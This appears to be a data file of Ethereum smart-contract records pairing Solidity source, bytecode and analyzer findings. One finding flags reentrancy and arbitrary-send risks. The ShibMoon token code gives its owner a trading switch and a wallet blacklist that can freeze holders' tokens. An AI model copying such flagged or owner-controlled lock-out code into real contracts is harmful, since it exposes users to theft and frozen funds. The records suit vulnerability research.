03831660009081526006602052604090205460ff16156113585760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107e0565b600080546001600160a01b0385811691161480159061138557506000546001600160a01b03848116911614155b156117ca57600a546001600160a01b0385811691161480156113b557506007546001600160a01b03848116911614155b80156113da57506001600160a01b03831660009081526004602052604090205460ff16155b156116665760115460ff166114315760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107e0565b60105442036114705760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107e0565b42601054610e106114819190611f41565b11156114fb57600f5461149384610a36565b61149d9084611f41565b11156114fb5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107e0565b6001600160a01b03831660009081526005602052604090206001015460ff16611563576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115739190611f41565b111561164757600e548211156115cb5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107e0565b6115d642600f611f41565b6001600160a01b038416600090815260056020526040902054106116475760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107e0565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611680575060115460ff165b801561169a5750600a546001600160a01b03858116911614155b156117ca576116aa42600f611f41565b6001600160a01b0385166000908152600560205260409020541061171c5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107e0565b600061172730610a36565b905080156117b35760115462010000900460ff16156117aa57600d54600a546064919061175c906001600160a01b0316610a36565b6117669190611f59565b6117709190611f78565b8111156117aa57600d54600a5460649190611793906001600160a01b0316610a36565b61179d9190611f59565b6117a79190611f78565b90505b6117b3816118ae565b4780156117c3576117c347611829565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180c57506001600160a01b03841660009081526004602052604090205460ff165b15611815575060005b6118228585858486611a22565b5050505050565b6008546001600160a01b03166108fc611843600284611f78565b6040518115909202916000818181858888f1935050505015801561186b573d6000803e3d6000fd5b506009546001600160a01b03166108fc611886600284611f78565b6040518115909202916000818181858888f193505050501580156108d3573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118f2576118f2611e75565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561194b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196f9190611ed9565b8160018151811061198257611982611e75565b6001600160a01b0392831660209182029290920101526007546119a89130911684611097565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119e1908590600090869030904290600401611f9a565b600060405180830381600087803b1580156119fb57600080fd5b505af1158015611a0f573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a2e8383611a44565b9050611a3c86868684611a8b565b505050505050565b6000808315611a84578215611a5c5750600b54611a84565b50600c54601054611a6f90610384611f41565b421015611a8457611a81600582611f41565b90505b9392505050565b600080611a988484611b68565b6001600160a01b0388166000908152600260205260409020549193509150611ac1908590611e5e565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611af1908390611f41565b6001600160a01b038616600090815260026020526040902055611b1381611b9c565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5891815260200190565b60405180910390a3505050505050565b600080806064611b788587611f59565b611b829190611f78565b90506000611b908287611e5e565b96919550909350505050565b30600090815260026020526040902054611bb7908290611f41565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bf757858101830151858201604001528201611bdb565b81811115611c09576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3357600080fd5b8035611c3f81611c1f565b919050565b600060208284031215611c5657600080fd5b8135611a8481611c1f565b60008060408385031215611c7457600080fd5b8235611c7f81611c1f565b946020939093013593505050565b60008060408385031215611ca057600080fd5b50508035926020909101359150565b600080600060608486031215611cc457600080fd5b8335611ccf81611c1f565b92506020840135611cdf81611c1f565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1957600080fd5b823567ffffffffffffffff80821115611d3157600080fd5b818501915085601f830112611d4557600080fd5b813581811115611d5757611d57611cf0565b8060051b604051601f19603f83011681018181108582111715611d7c57611d7c611cf0565b604052918252848201925083810185019188831115611d9a57600080fd5b938501935b82851015611dbf57611db085611c34565b84529385019392850192611d9f565b98975050505050505050565b600060208284031215611ddd57600080fd5b5035919050565b8015158114610a3357600080fd5b600060208284031215611e0457600080fd5b8135611a8481611de4565b60008060408385031215611e2257600080fd5b8235611e2d81611c1f565b91506020830135611e3d81611c1f565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e7057611e70611e48565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e9d57611e9d611e48565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611eeb57600080fd5b8151611a8481611c1f565b600080600060608486031215611f0b57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f3657600080fd5b8151611a8481611de4565b60008219821115611f5457611f54611e48565b500190565b6000816000190483118215151615611f7357611f73611e48565b500290565b600082611f9557634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fea5784516001600160a01b031683529383019391830191600101611fc5565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220b15c0065c5978fb60a2c895539aca7c44aaf8370ef0db32d577145c1b7324da364736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,395 |
0xf1d96be0834cdcc8c92430ec17720d316ba94431 | /**
*Submitted for verification at Etherscan.io on 2021-04-14
*/
// SPDX-License-Identifier: AGPL-3.0-or-later\
pragma solidity 0.7.5;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
/*
* Expects percentage to be trailed by 00,
*/
function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) {
return div( mul( total_, percentage_ ), 1000 );
}
/*
* Expects percentage to be trailed by 00,
*/
function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) {
return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) );
}
function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) {
return div( mul(part_, 100) , total_ );
}
/**
* Taken from Hypersonic https://github.com/M2629/HyperSonic/blob/main/Math.sol
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) {
return sqrrt( mul( multiplier_, payment_ ) );
}
function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) {
return mul( multiplier_, supply_ );
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract OHMCirculatingSupplyConrtact {
using SafeMath for uint;
bool public isInitialized;
address public OHM;
address public owner;
address[] public nonCirculatingOHMAddresses;
constructor( address _owner ) {
owner = _owner;
}
function initialize( address _ohm ) external returns ( bool ) {
require( msg.sender == owner, "caller is not owner" );
require( isInitialized == false );
OHM = _ohm;
isInitialized = true;
return true;
}
function OHMCirculatingSupply() external view returns ( uint ) {
uint _totalSupply = IERC20( OHM ).totalSupply();
uint _circulatingSupply = _totalSupply.sub( getNonCirculatingOHM() );
return _circulatingSupply;
}
function getNonCirculatingOHM() public view returns ( uint ) {
uint _nonCirculatingOHM;
for( uint i=0; i < nonCirculatingOHMAddresses.length; i = i.add( 1 ) ) {
_nonCirculatingOHM = _nonCirculatingOHM.add( IERC20( OHM ).balanceOf( nonCirculatingOHMAddresses[i] ) );
}
return _nonCirculatingOHM;
}
function setNonCirculatingOHMAddresses( address[] calldata _nonCirculatingAddresses ) external returns ( bool ) {
require( msg.sender == owner, "Sender is not owner" );
nonCirculatingOHMAddresses = _nonCirculatingAddresses;
return true;
}
function transferOwnership( address _owner ) external returns ( bool ) {
require( msg.sender == owner, "Sender is not owner" );
owner = _owner;
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100925760003560e01c8063a0b15ebf11610066578063a0b15ebf14610198578063a6c41fec146101b6578063c4d66de8146101ea578063f00f848b14610244578063f2fde38b1461029c57610092565b80626883ba146100975780632e14556214610126578063392e53cd146101445780638da5cb5b14610164575b600080fd5b61010e600480360360208110156100ad57600080fd5b81019080803590602001906401000000008111156100ca57600080fd5b8201836020820111156100dc57600080fd5b803590602001918460208302840111640100000000831117156100fe57600080fd5b90919293919293905050506102f6565b60405180821515815260200191505060405180910390f35b61012e6103d7565b6040518082815260200191505060405180910390f35b61014c6104a5565b60405180821515815260200191505060405180910390f35b61016c6104b6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101a06104dc565b6040518082815260200191505060405180910390f35b6101be610621565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61022c6004803603602081101561020057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610647565b60405180821515815260200191505060405180910390f35b6102706004803603602081101561025a57600080fd5b810190808035906020019092919050505061078e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102de600480360360208110156102b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107cd565b60405180821515815260200191505060405180910390f35b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f53656e646572206973206e6f74206f776e65720000000000000000000000000081525060200191505060405180910390fd5b8282600291906103cc929190610a6e565b506001905092915050565b600080600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561044257600080fd5b505afa158015610456573d6000803e3d6000fd5b505050506040513d602081101561046c57600080fd5b81019080805190602001909291905050509050600061049b61048c6104dc565b836108dc90919063ffffffff16565b9050809250505090565b60008054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060005b600280549050811015610619576105fc600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a082316002848154811061053d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156105b257600080fd5b505afa1580156105c6573d6000803e3d6000fd5b505050506040513d60208110156105dc57600080fd5b81019080805190602001909291905050508361092690919063ffffffff16565b915061061260018261092690919063ffffffff16565b90506104e2565b508091505090565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461070c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f63616c6c6572206973206e6f74206f776e65720000000000000000000000000081525060200191505060405180910390fd5b6000151560008054906101000a900460ff1615151461072a57600080fd5b81600060016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016000806101000a81548160ff02191690831515021790555060019050919050565b6002818154811061079e57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610892576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f53656e646572206973206e6f74206f776e65720000000000000000000000000081525060200191505060405180910390fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600061091e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109ae565b905092915050565b6000808284019050838110156109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290610a5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a20578082015181840152602081019050610a05565b50505050905090810190601f168015610a4d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b828054828255906000526020600020908101928215610afd579160200282015b82811115610afc57823573ffffffffffffffffffffffffffffffffffffffff168260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190610a8e565b5b509050610b0a9190610b0e565b5090565b5b80821115610b27576000816000905550600101610b0f565b509056fea2646970667358221220d2bd75095dd9126f7f08e5d0d87b4fdd115df5dac7e68e9a6e70a928722e7c0b64736f6c63430007050033 | {"success": true, "error": null, "results": {}} | 10,396 |
0xff2c3ddc42900feeb8beb04af3acd4cd51254b5a | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibMoon is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ShibMoon";
string private constant _symbol = "SHIBM";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x05852be82E46c8139183b77147eee911459debB5);
address payable private _marketingAddress = payable(0x05852be82E46c8139183b77147eee911459debB5);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000000 * 10**9;
uint256 public _maxWalletSize = 4000000000 * 10**9;
uint256 public _swapTokensAtAmount = 3000000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
